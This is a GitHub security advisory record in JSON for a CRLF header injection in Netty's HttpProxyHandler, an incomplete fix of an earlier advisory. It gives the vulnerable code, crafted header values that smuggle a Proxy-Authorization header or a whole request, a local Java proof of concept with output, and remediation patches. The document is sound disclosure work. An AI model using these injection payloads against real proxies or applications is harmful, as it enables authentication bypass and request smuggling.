{"id":"GHSA-45q3-82m4-75jr","summary":"Netty has HTTP Header Injection via HttpProxyHandler Disabled Validation (Incomplete Fix CVE-2025-67735)","details":"# Security Vulnerability Report: HTTP Header Injection via HttpProxyHandler Disabled Validation in Netty\n\n## 1. Vulnerability Summary\n\n| Field | Value |\n|-------|-------|\n| **Product** | Netty |\n| **Version** | 4.2.12.Final (and all prior versions) |\n| **Component** | `io.netty.handler.proxy.HttpProxyHandler` |\n| **Vulnerability Type** | CWE-113: Improper Neutralization of CRLF Sequences in HTTP Headers |\n| **Impact** | HTTP Header Injection in CONNECT Proxy Requests |\n| **CVSS 3.1 Score** | **7.5 (High)** |\n| **CVSS 3.1 Vector** | `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N` |\n| **Related Advisory** | **GHSA-84h7-rjj3-6jx4** (Incomplete Fix) |\n\n## 2. Affected Components\n\n- `io.netty.handler.proxy.HttpProxyHandler` — `newInitialMessage()` method (line 176) explicitly disables header validation via `withValidation(false)`\n\n## 3. Vulnerability Description\n\nNetty's `HttpProxyHandler` constructs HTTP CONNECT requests with **header validation explicitly disabled**. The `newInitialMessage()` method (line 176) creates headers using `DefaultHttpHeadersFactory.headersFactory().withValidation(false)`, then adds user-provided `outboundHeaders` (line 188-190) without any CRLF validation. This allows an attacker who can influence the outbound headers to inject arbitrary HTTP headers into the CONNECT request sent to the proxy server.\n\n### Root Cause\n\n```java\n// HttpProxyHandler.java:176-190\nprotected Object newInitialMessage(ChannelHandlerContext ctx) throws Exception {\n    // ...\n    HttpHeadersFactory headersFactory = DefaultHttpHeadersFactory.headersFactory()\n        .withValidation(false);  // \u003c-- VALIDATION EXPLICITLY DISABLED\n\n    FullHttpRequest req = new DefaultFullHttpRequest(\n        HttpVersion.HTTP_1_1, HttpMethod.CONNECT,\n        url, Unpooled.EMPTY_BUFFER, headersFactory, headersFactory);\n\n    req.headers().set(HttpHeaderNames.HOST, hostHeader);\n\n    if (authorization != null) {\n        req.headers().set(HttpHeaderNames.PROXY_AUTHORIZATION, authorization);\n    }\n\n    if (outboundHeaders != null) {\n        req.headers().add(outboundHeaders);  // \u003c-- USER HEADERS ADDED WITHOUT VALIDATION\n    }\n\n    return req;\n}\n```\n\nThe `outboundHeaders` parameter comes from the `HttpProxyHandler` constructor (lines 80-93, 99-127), which is supplied by application code.\n\n### Incomplete Fix of GHSA-84h7-rjj3-6jx4\n\n**This vulnerability represents an incomplete fix of the previously acknowledged security advisory [GHSA-84h7-rjj3-6jx4](https://github.com/netty/netty/security/advisories/GHSA-84h7-rjj3-6jx4).**\n\nThe GHSA-84h7-rjj3-6jx4 fix addressed HTTP CRLF injection by adding URI validation via `validateRequestLineTokens()` in `DefaultHttpRequest` and enabling header validation by default through `DefaultHttpHeadersFactory`. However, `HttpProxyHandler` **explicitly opts out** of the fix by calling `withValidation(false)`, creating a gap where:\n\n1. The GHSA-84h7-rjj3-6jx4 fix's header validation is bypassed\n2. User-provided `outboundHeaders` are added without any CRLF check\n3. The resulting CONNECT request contains unvalidated headers on the wire\n\nThis is not a new vulnerability class — it is the **same CRLF injection** that GHSA-84h7-rjj3-6jx4 was supposed to fix, but `HttpProxyHandler` was missed during the remediation. The fix for GHSA-84h7-rjj3-6jx4 should be extended to cover this code path.\n\n## 4. Exploitability Prerequisites\n\nThis vulnerability is exploitable when:\n\n1. An application uses `HttpProxyHandler` with user-influenced `outboundHeaders`\n2. The application does not perform its own CRLF sanitization on header values\n\n**Common affected patterns**:\n- HTTP proxy clients that forward user-specified custom headers\n- Web scraping frameworks that allow users to set proxy headers\n- API gateways that pass user headers through a proxy tunnel\n\n## 5. Attack Scenarios\n\n### Scenario 1: Proxy Authentication Bypass\n\n```java\nHttpHeaders headers = new DefaultHttpHeaders(false);\nheaders.set(\"X-Forwarded-For\", userInput);  // userInput from attacker\nnew HttpProxyHandler(proxyAddr, headers);\n```\n\n**Attack input**: `userInput = \"1.2.3.4\\r\\nProxy-Authorization: Basic YWRtaW46YWRtaW4=\"`\n\n**Wire format**:\n```\nCONNECT target.com:443 HTTP/1.1\nhost: target.com:443\nX-Forwarded-For: 1.2.3.4\nProxy-Authorization: Basic YWRtaW46YWRtaW4=    \u003c-- INJECTED\n```\n\nThe injected `Proxy-Authorization` header may override or supplement the original authentication, potentially granting access to a restricted proxy.\n\n### Scenario 2: Request Smuggling via Proxy\n\n**Attack input**: `userInput = \"value\\r\\nTransfer-Encoding: chunked\\r\\n\\r\\n0\\r\\n\\r\\nGET /internal HTTP/1.1\\r\\nHost: internal-service\"`\n\nInjects a full smuggled request through the proxy tunnel establishment.\n\n## 6. Proof of Concept\n\n### Full Runnable PoC Source Code (HttpProxyHeaderInjectionPoC.java)\n\n```java\nimport io.netty.buffer.ByteBuf;\nimport io.netty.channel.embedded.EmbeddedChannel;\nimport io.netty.handler.codec.http.*;\nimport java.nio.charset.StandardCharsets;\n\npublic class HttpProxyHeaderInjectionPoC {\n    public static void main(String[] args) {\n        System.out.println(\"=== Netty HttpProxyHandler Header Injection PoC ===\\n\");\n\n        // Simulate HttpProxyHandler.newInitialMessage() with validation=false\n        HttpHeadersFactory headersFactory = DefaultHttpHeadersFactory.headersFactory()\n            .withValidation(false);\n\n        FullHttpRequest req = new DefaultFullHttpRequest(\n            HttpVersion.HTTP_1_1, HttpMethod.CONNECT,\n            \"target.com:443\",\n            io.netty.buffer.Unpooled.EMPTY_BUFFER, headersFactory, headersFactory);\n\n        req.headers().set(HttpHeaderNames.HOST, \"target.com:443\");\n\n        // Inject CRLF in header value\n        String malicious = \"1.2.3.4\\r\\nX-Forwarded-For: 127.0.0.1\\r\\nX-Admin: true\";\n        req.headers().set(\"X-Forwarded-For\", malicious);\n\n        // Encode to wire format\n        EmbeddedChannel ch = new EmbeddedChannel(new HttpRequestEncoder());\n        ch.writeOutbound(req);\n        ByteBuf out = ch.readOutbound();\n        String encoded = out.toString(StandardCharsets.UTF_8);\n        out.release();\n        ch.finishAndReleaseAll();\n\n        System.out.println(\"Wire format:\");\n        for (String line : encoded.split(\"\\n\", -1)) {\n            System.out.println(\"  \" + line.replace(\"\\r\", \"\\\\r\"));\n        }\n        System.out.println(\"Injected X-Admin: \" + encoded.contains(\"X-Admin: true\"));\n        System.out.println(\"VULNERABLE: \" +\n            (encoded.contains(\"X-Admin: true\") ? \"YES\" : \"NO\"));\n    }\n}\n```\n\n### PoC Execution Output (Verified on Netty 4.2.12.Final)\n\n```\n=== Netty HttpProxyHandler Header Injection PoC ===\n\n[TEST 1] outboundHeaders with CRLF (validation disabled)\n----------------------------------------------------------\n  Injected header value: \"1.2.3.4\\r\\nX-Forwarded-For: 127.0.0.1\\r\\nX-Admin: true\"\n  Header accepted: YES (validation disabled!)\n  Wire format:\n    CONNECT target.com:443 HTTP/1.1\\r\n    host: target.com:443\\r\n    X-Forwarded-For: 1.2.3.4\\r\n    X-Forwarded-For: 127.0.0.1\\r          \u003c-- INJECTED\n    X-Admin: true\\r                        \u003c-- INJECTED\n    \\r\n\n  Injected X-Admin header in wire: true\n  VULNERABLE: YES\n\n[TEST 2] validation=true vs validation=false comparison\n--------------------------------------------------------\n  With validation=true:\n    SAFE: Rejected - IllegalArgumentException\n  With validation=false:\n    VULNERABLE: Accepted CRLF in header value!\n    Stored value contains CRLF: true\n```\n\n## 7. Remediation Recommendations\n\n### Option 1: Remove withValidation(false)\n\n```java\n// Change HttpProxyHandler.java line 176 from:\nHttpHeadersFactory headersFactory = DefaultHttpHeadersFactory.headersFactory().withValidation(false);\n// To:\nHttpHeadersFactory headersFactory = DefaultHttpHeadersFactory.headersFactory();\n```\n\n### Option 2: Validate outboundHeaders Before Adding\n\n```java\nif (outboundHeaders != null) {\n    for (Map.Entry\u003cString, String\u003e entry : outboundHeaders) {\n        HttpUtil.validateHeaderValue(entry.getValue());\n    }\n    req.headers().add(outboundHeaders);\n}\n```\n\n## 8. Resources\n\n- [GHSA-84h7-rjj3-6jx4: Netty HTTP CRLF Injection (**incomplete fix — this report**)](https://github.com/netty/netty/security/advisories/GHSA-84h7-rjj3-6jx4)\n- [CWE-113: Improper Neutralization of CRLF Sequences in HTTP Headers](https://cwe.mitre.org/data/definitions/113.html)","aliases":["CVE-2026-42578"],"modified":"2026-07-17T21:13:39.000947378Z","published":"2026-05-07T00:11:40Z","database_specific":{"github_reviewed_at":"2026-05-07T00:11:40Z","nvd_published_at":"2026-05-13T19:17:23Z","cwe_ids":["CWE-113"],"severity":"LOW","github_reviewed":true},"references":[{"type":"WEB","url":"https://github.com/netty/netty/security/advisories/GHSA-45q3-82m4-75jr"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-42578"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-84h7-rjj3-6jx4"},{"type":"PACKAGE","url":"https://github.com/netty/netty"}],"affected":[{"package":{"name":"io.netty:netty-handler-proxy","ecosystem":"Maven","purl":"pkg:maven/io.netty/netty-handler-proxy"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"4.1.133.Final"}]}],"versions":["4.1.0.Beta4","4.1.0.Beta5","4.1.0.Beta6","4.1.0.Beta7","4.1.0.Beta8","4.1.0.CR1","4.1.0.CR2","4.1.0.CR3","4.1.0.CR4","4.1.0.CR5","4.1.0.CR6","4.1.0.CR7","4.1.0.Final","4.1.1.Final","4.1.10.Final","4.1.100.Final","4.1.101.Final","4.1.102.Final","4.1.103.Final","4.1.104.Final","4.1.105.Final","4.1.106.Final","4.1.107.Final","4.1.108.Final","4.1.109.Final","4.1.11.Final","4.1.110.Final","4.1.111.Final","4.1.112.Final","4.1.113.Final","4.1.114.Final","4.1.115.Final","4.1.116.Final","4.1.117.Final","4.1.118.Final","4.1.119.Final","4.1.12.Final","4.1.120.Final","4.1.121.Final","4.1.122.Final","4.1.123.Final","4.1.124.Final","4.1.125.Final","4.1.126.Final","4.1.127.Final","4.1.128.Final","4.1.129.Final","4.1.13.Final","4.1.130.Final","4.1.131.Final","4.1.132.Final","4.1.14.Final","4.1.15.Final","4.1.16.Final","4.1.17.Final","4.1.18.Final","4.1.19.Final","4.1.2.Final","4.1.20.Final","4.1.21.Final","4.1.22.Final","4.1.23.Final","4.1.24.Final","4.1.25.Final","4.1.26.Final","4.1.27.Final","4.1.28.Final","4.1.29.Final","4.1.3.Final","4.1.30.Final","4.1.31.Final","4.1.32.Final","4.1.33.Final","4.1.34.Final","4.1.35.Final","4.1.36.Final","4.1.37.Final","4.1.38.Final","4.1.39.Final","4.1.4.Final","4.1.40.Final","4.1.41.Final","4.1.42.Final","4.1.43.Final","4.1.44.Final","4.1.45.Final","4.1.46.Final","4.1.47.Final","4.1.48.Final","4.1.49.Final","4.1.5.Final","4.1.50.Final","4.1.51.Final","4.1.52.Final","4.1.53.Final","4.1.54.Final","4.1.55.Final","4.1.56.Final","4.1.57.Final","4.1.58.Final","4.1.59.Final","4.1.6.Final","4.1.60.Final","4.1.61.Final","4.1.62.Final","4.1.63.Final","4.1.64.Final","4.1.65.Final","4.1.66.Final","4.1.67.Final","4.1.68.Final","4.1.69.Final","4.1.7.Final","4.1.70.Final","4.1.71.Final","4.1.72.Final","4.1.73.Final","4.1.74.Final","4.1.75.Final","4.1.76.Final","4.1.77.Final","4.1.78.Final","4.1.79.Final","4.1.8.Final","4.1.80.Final","4.1.81.Final","4.1.82.Final","4.1.83.Final","4.1.84.Final","4.1.85.Final","4.1.86.Final","4.1.87.Final","4.1.88.Final","4.1.89.Final","4.1.9.Final","4.1.90.Final","4.1.91.Final","4.1.92.Final","4.1.93.Final","4.1.94.Final","4.1.95.Final","4.1.96.Final","4.1.97.Final","4.1.98.Final","4.1.99.Final"],"database_specific":{"last_known_affected_version_range":"\u003c= 4.1.132.Final","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/05/GHSA-45q3-82m4-75jr/GHSA-45q3-82m4-75jr.json"}},{"package":{"name":"io.netty:netty-handler-proxy","ecosystem":"Maven","purl":"pkg:maven/io.netty/netty-handler-proxy"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.2.0.Alpha1"},{"fixed":"4.2.13.Final"}]}],"versions":["4.2.0.Alpha1","4.2.0.Alpha2","4.2.0.Alpha3","4.2.0.Alpha4","4.2.0.Alpha5","4.2.0.Beta1","4.2.0.Final","4.2.0.RC1","4.2.0.RC2","4.2.0.RC3","4.2.0.RC4","4.2.1.Final","4.2.10.Final","4.2.11.Final","4.2.12.Final","4.2.2.Final","4.2.3.Final","4.2.4.Final","4.2.5.Final","4.2.6.Final","4.2.7.Final","4.2.8.Final","4.2.9.Final"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/05/GHSA-45q3-82m4-75jr/GHSA-45q3-82m4-75jr.json","last_known_affected_version_range":"\u003c= 4.2.12.Final"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X"}]}